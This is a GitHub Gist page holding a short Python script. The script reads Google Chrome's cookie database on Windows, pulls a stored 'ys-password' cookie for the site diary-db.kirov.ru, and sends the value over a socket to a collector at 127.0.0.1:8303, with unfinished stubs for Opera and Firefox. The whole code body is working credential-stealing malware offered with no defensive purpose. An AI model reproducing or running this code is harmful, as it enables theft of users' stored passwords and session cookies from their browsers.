Skip to content

Instantly share code, notes, and snippets.

@matancev
Created October 28, 2013 17:35
Show Gist options
  • Select an option

  • Save matancev/7201131 to your computer and use it in GitHub Desktop.

Select an option

Save matancev/7201131 to your computer and use it in GitHub Desktop.
import sqlite3, os, socket
def sendPassword(passw):
sock = socket.socket()
try:
sock.connect(("127.0.0.1", 8303))
except ConnectionRefusedError:
print("Server is off")
return
sock.send(str.encode(passw))
sock.close()
#Google Chrome
pathToChromeCookies = os.getenv("APPDATA")[0:-7] + "Local\\Google\\Chrome\\User Data\\Default\\Cookies"
if os.path.exists(pathToChromeCookies):
conn = sqlite3.connect(pathToChromeCookies)
cursor = conn.cursor()
cursor.execute("SELECT value FROM cookies WHERE host_key='diary-db.kirov.ru' AND name='ys-password'")
password = cursor.fetchone()
#Close all connections
cursor.close()
conn.close()
#If password found
if password != None:
sendPassword(password[0][4:])
exit()
else:
sendPassword("Chrome: Password not found!")
#Opera
pathToOperaCookies = "/"
#Firefox
sendPassword("No supported browsers found!")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment